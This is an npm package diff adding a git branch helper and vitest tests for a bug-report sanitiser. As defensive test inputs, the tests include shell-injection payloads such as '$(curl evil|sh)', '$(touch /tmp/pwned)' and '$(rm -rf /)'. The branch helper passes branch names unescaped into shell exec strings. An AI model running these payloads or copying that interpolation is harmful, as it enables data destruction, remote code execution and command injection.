@nemus-cli/nemus 0.2.1

package/src/utils/branch-operations.ts

@@ -0,0 +1,237 @@
+import { exec } from 'child_process';
+import { promisify } from 'util';
+import * as fs from 'fs/promises';
+import * as path from 'path';
+import { hasUncommittedChanges } from './git-status';
+
+const execAsync = promisify(exec);
+const GIT_TIMEOUT = 30000;
+
+export interface BranchSwitchResult {
+  repo: string;
+  status: 'success' | 'failed' | 'skipped';
+  message?: string;
+  previousBranch?: string;
+  newBranch?: string;
+}
+
+export const switchBranch = async (
+  repoPath: string,
+  repoName: string,
+  targetBranch: string
+): Promise<BranchSwitchResult> => {
+  try {
+    // Check if directory exists
+    try {
+      await fs.access(repoPath);
+    } catch {
+      return {
+        repo: repoName,
+        status: 'skipped',
+        message: 'Directory not found',
+      };
+    }
+
+    // Check if it's a git repository
+    try {
+      await execAsync('git rev-parse --git-dir', { cwd: repoPath });
+    } catch {
+      return {
+        repo: repoName,
+        status: 'skipped',
+        message: 'Not a git repository',
+      };
+    }
+
+    // Get current branch
+    const { stdout: currentBranchOutput } = await execAsync('git branch --show-current', { cwd: repoPath });
+    const currentBranch = currentBranchOutput.trim();
+
+    if (currentBranch === targetBranch) {
+      return {
+        repo: repoName,
+        status: 'skipped',
+        message: 'Already on target branch',
+        previousBranch: currentBranch,
+      };
+    }
+
+    // Check for uncommitted changes
+    const { stdout: statusOutput } = await execAsync('git status --porcelain', { cwd: repoPath });
+    if (statusOutput.trim().length > 0) {
+      return {
+        repo: repoName,
+        status: 'skipped',
+        message: 'Uncommitted changes',
+        previousBranch: currentBranch,
+      };
+    }
+
+    // Fetch to ensure we have latest branches
+    await execAsync('git fetch', { cwd: repoPath, timeout: GIT_TIMEOUT });
+
+    // Check if branch exists locally
+    try {
+      await execAsync(`git rev-parse --verify ${targetBranch}`, { cwd: repoPath });
+    } catch {
+      // Branch doesn't exist locally, check remote
+      try {
+        await execAsync(`git rev-parse --verify origin/${targetBranch}`, { cwd: repoPath });
+        // Branch exists on remote, create local tracking branch
+        await execAsync(`git checkout -b ${targetBranch} origin/${targetBranch}`, { cwd: repoPath });
+        return {
+          repo: repoName,
+          status: 'success',
+          previousBranch: currentBranch,
+          newBranch: targetBranch,
+        };
+      } catch {
+        return {
+          repo: repoName,
+          status: 'failed',
+          message: `Branch ${targetBranch} not found`,
+          previousBranch: currentBranch,
+        };
+      }
+    }
+
+    // Switch to existing local branch
+    await execAsync(`git checkout ${targetBranch}`, { cwd: repoPath });
+
+    return {
+      repo: repoName,
+      status: 'success',
+      previousBranch: currentBranch,
+      newBranch: targetBranch,
+    };
+  } catch (error) {
+    const errorMessage = error instanceof Error ? error.message : 'Unknown error';
+    return {
+      repo: repoName,
+      status: 'failed',
+      message: errorMessage,
+    };
+  }
+};
+
+export interface BranchOperationResult {
+  repo: string;
+  success: boolean;
+  message: string;
+  error?: string;
+}
+
+export const createBranch = async (
+  repoPath: string,
+  repoName: string,
+  branchName: string,
+  baseBranch?: string,
+  force?: boolean
+): Promise<BranchOperationResult> => {
+  try {
+    // Check for uncommitted changes
+    if (!force) {
+      const hasChanges = await hasUncommittedChanges(repoPath);
+      if (hasChanges) {
+        return {
+          repo: repoName,
+          success: false,
+          message: 'Skipped (uncommitted changes)',
+        };
+      }
+    }
+
+    // Checkout base branch if specified
+    if (baseBranch) {
+      await execAsync(`git checkout ${baseBranch}`, {
+        cwd: repoPath,
+        timeout: GIT_TIMEOUT,
+      });
+    }
+
+    // Create and checkout new branch
+    await execAsync(`git checkout -b ${branchName}`, {
+      cwd: repoPath,
+      timeout: GIT_TIMEOUT,
+    });
+
+    return {
+      repo: repoName,
+      success: true,
+      message: `Created branch ${branchName}`,
+    };
+  } catch (error) {
+    return {
+      repo: repoName,
+      success: false,
+      message: 'Failed',
+      error: error instanceof Error ? error.message : 'Unknown error',
+    };
+  }
+};
+
+export const mergeBranch = async (
+  repoPath: string,
+  repoName: string,
+  sourceBranch: string,
+  targetBranch: string,
+  options?: { noFf?: boolean; ffOnly?: boolean; squash?: boolean }
+): Promise<BranchOperationResult> => {
+  try {
+    // Checkout target branch
+    await execAsync(`git checkout ${targetBranch}`, {
+      cwd: repoPath,
+      timeout: GIT_TIMEOUT,
+    });
+
+    // Build merge command
+    let mergeCmd = `git merge ${sourceBranch}`;
+    if (options?.noFf) mergeCmd += ' --no-ff';
+    if (options?.ffOnly) mergeCmd += ' --ff-only';
+    if (options?.squash) mergeCmd += ' --squash';
+
+    await execAsync(mergeCmd, {
+      cwd: repoPath,
+      timeout: GIT_TIMEOUT,
+    });
+
+    return {
+      repo: repoName,
+      success: true,
+      message: `Merged ${sourceBranch} into ${targetBranch}`,
+    };
+  } catch (error) {
+    return {
+      repo: repoName,
+      success: false,
+      message: 'Merge failed',
+      error: error instanceof Error ? error.message : 'Unknown error',
+    };
+  }
+};
+
+export const rebaseBranch = async (
+  repoPath: string,
+  repoName: string,
+  targetBranch: string
+): Promise<BranchOperationResult> => {
+  try {
+    await execAsync(`git rebase ${targetBranch}`, {
+      cwd: repoPath,
+      timeout: GIT_TIMEOUT,
+    });
+
+    return {
+      repo: repoName,
+      success: true,
+      message: `Rebased onto ${targetBranch}`,
+    };
+  } catch (error) {
+    return {
+      repo: repoName,
+      success: false,
+      message: 'Rebase failed',
+      error: error instanceof Error ? error.message : 'Unknown error',
+    };
+  }
+};

package/src/utils/bug-report.test.ts

@@ -0,0 +1,174 @@
+import { describe, it, expect } from 'vitest';
+import * as os from 'os';
+import {
+  sanitize,
+  errorSignature,
+  looksEnvironmental,
+  buildIssueTitle,
+  buildIssueBody,
+  buildIssueCreateArgs,
+  buildIssueListArgs,
+  gatherEnv,
+  type CapturedError,
+} from './bug-report';
+
+describe('sanitize', () => {
+  it('replaces the home directory with ~', () => {
+    const home = os.homedir();
+    const input = `Error at ${home}/Work/repo/file.ts`;
+    expect(sanitize(input)).toBe('Error at ~/Work/repo/file.ts');
+  });
+
+  it('redacts /Users/<name>/ paths for other users', () => {
+    const out = sanitize('bash: /Users/shay.tidhar@acme.com/.volta/tmp/x.sh: not found');
+    expect(out).not.toContain('shay.tidhar');
+    expect(out).toContain('/Users/<user>');
+  });
+
+  it('redacts email addresses', () => {
+    expect(sanitize('contact john.doe@example.com now')).toBe('contact <email> now');
+  });
+
+  it('redacts GitHub tokens', () => {
+    expect(sanitize('token ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZ012345')).toContain('<redacted>');
+    expect(sanitize('token ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZ012345')).not.toContain('ghp_ABCDEF');
+  });
+
+  it('redacts long mixed token-like strings', () => {
+    const out = sanitize('key=aB3dE5fG7hJ9kL1mN3pQ5rS7tU9vW1xY3z');
+    expect(out).toContain('<redacted>');
+  });
+
+  it('leaves normal text untouched', () => {
+    expect(sanitize('Repositories not found: partnerships-api')).toBe('Repositories not found: partnerships-api');
+  });
+});
+
+describe('errorSignature', () => {
+  it('is stable across varying line numbers and counts', () => {
+    const a = errorSignature('Failed at line 42, 3 repos', 'at foo (/x/y.ts:10:5)');
+    const b = errorSignature('Failed at line 99, 7 repos', 'at foo (/x/y.ts:88:2)');
+    expect(a).toBe(b);
+  });
+
+  it('differs for genuinely different errors', () => {
+    const a = errorSignature('Could not clone repo', undefined);
+    const b = errorSignature('Permission denied', undefined);
+    expect(a).not.toBe(b);
+  });
+
+  it('is a short hex string', () => {
+    expect(errorSignature('x', undefined)).toMatch(/^[0-9a-f]{12}$/);
+  });
+
+  it('ignores user-specific paths in the signature (sanitized first)', () => {
+    const home = os.homedir();
+    const a = errorSignature(`boom ${home}/a`, undefined);
+    const b = errorSignature('boom ~/a', undefined);
+    expect(a).toBe(b);
+  });
+});
+
+describe('looksEnvironmental', () => {
+  it('flags network/auth/credential errors', () => {
+    for (const m of [
+      'spawnSync pi ETIMEDOUT',
+      'getaddrinfo ENOTFOUND github.com',
+      'gh auth: not authenticated',
+      'AWS SSO token expired',
+      'bash: claude: command not found',
+      'No such file or directory',
+    ]) {
+      expect(looksEnvironmental(m)).toBe(true);
+    }
+  });
+
+  it('does NOT flag genuine code errors', () => {
+    for (const m of [
+      'Cannot read properties of undefined (reading foo)',
+      'TypeError: x is not a function',
+      'Repositories not found: partnerships-api',
+    ]) {
+      expect(looksEnvironmental(m)).toBe(false);
+    }
+  });
+});
+
+describe('buildIssueTitle / buildIssueBody', () => {
+  const err: CapturedError = {
+    command: `nemus update --workspace ${os.homedir()}/x`,
+    message: 'TypeError: cannot read foo of undefined',
+    stack: `TypeError: cannot read foo\n  at run (${os.homedir()}/.local/pi/x.ts:10:3)`,
+    timestamp: '2026-01-01T00:00:00.000Z',
+    version: '4.14.5',
+  };
+
+  it('title includes a signature and is prefixed [auto]', () => {
+    const title = buildIssueTitle(err);
+    expect(title).toMatch(/^\[auto\] /);
+    expect(title).toMatch(/\([0-9a-f]{12}\)$/);
+  });
+
+  it('body is fully sanitized (no home dir leak)', () => {
+    const body = buildIssueBody(err, gatherEnv('4.14.5'));
+    expect(body).not.toContain(os.homedir());
+    expect(body).toContain('~/');
+    expect(body).toContain('Signature:');
+    expect(body).toContain('4.14.5');
+    expect(body).toContain('### Stack');
+  });
+});
+
+describe('command-injection safety (argv, no shell)', () => {
+  it('passes a malicious title/body as inert single argv elements', () => {
+    const title = 'boom $(touch /tmp/pwned) `id`';
+    const body = 'stack with ${HOME} and $(curl evil|sh) and `whoami`';
+    const args = buildIssueCreateArgs(title, body);
+
+    // title and body must each be exactly ONE argv element, verbatim —
+    // never split or interpolated. execFileSync passes argv without a shell.
+    const ti = args.indexOf('--title');
+    const bi = args.indexOf('--body');
+    expect(ti).toBeGreaterThanOrEqual(0);
+    expect(bi).toBeGreaterThanOrEqual(0);
+    expect(args[ti + 1]).toBe(title);
+    expect(args[bi + 1]).toBe(body);
+
+    // No argv element is a shell invocation.
+    expect(args).not.toContain('-c');
+    expect(args.some((a) => a === 'sh' || a === 'bash' || a === '/bin/sh')).toBe(false);
+  });
+
+  it('issue-list argv contains no free-text search of untrusted input', () => {
+    const args = buildIssueListArgs();
+    // Dedup is client-side now; we must not pass --search with attacker text.
+    expect(args).not.toContain('--search');
+    expect(args).toContain('--label');
+    expect(args).toContain('--json');
+  });
+});
+
+describe('sanitize — shell metacharacter neutralization (defense in depth)', () => {
+  it('neutralizes command substitution and backticks', () => {
+    const out = sanitize('run $(rm -rf /) and `id` and ${PATH}');
+    expect(out).not.toMatch(/\$\(/);   // $( broken up
+    expect(out).not.toContain('`');     // backtick replaced
+    expect(out).not.toMatch(/\$\{/);    // ${ broken up
+  });
+});
+
+describe('sanitize / errorSignature — defensive against bad input', () => {
+  it('sanitize tolerates non-string input', () => {
+    // @ts-expect-error intentional bad input
+    expect(sanitize(undefined)).toBe('');
+    // @ts-expect-error intentional bad input
+    expect(sanitize(null)).toBe('');
+  });
+
+  it('errorSignature tolerates empty/missing message', () => {
+    expect(() => errorSignature('', undefined)).not.toThrow();
+    // @ts-expect-error intentional bad input
+    expect(() => errorSignature(undefined, undefined)).not.toThrow();
+    expect(errorSignature('', undefined)).toMatch(/^[0-9a-f]{12}$/);
+  });
+});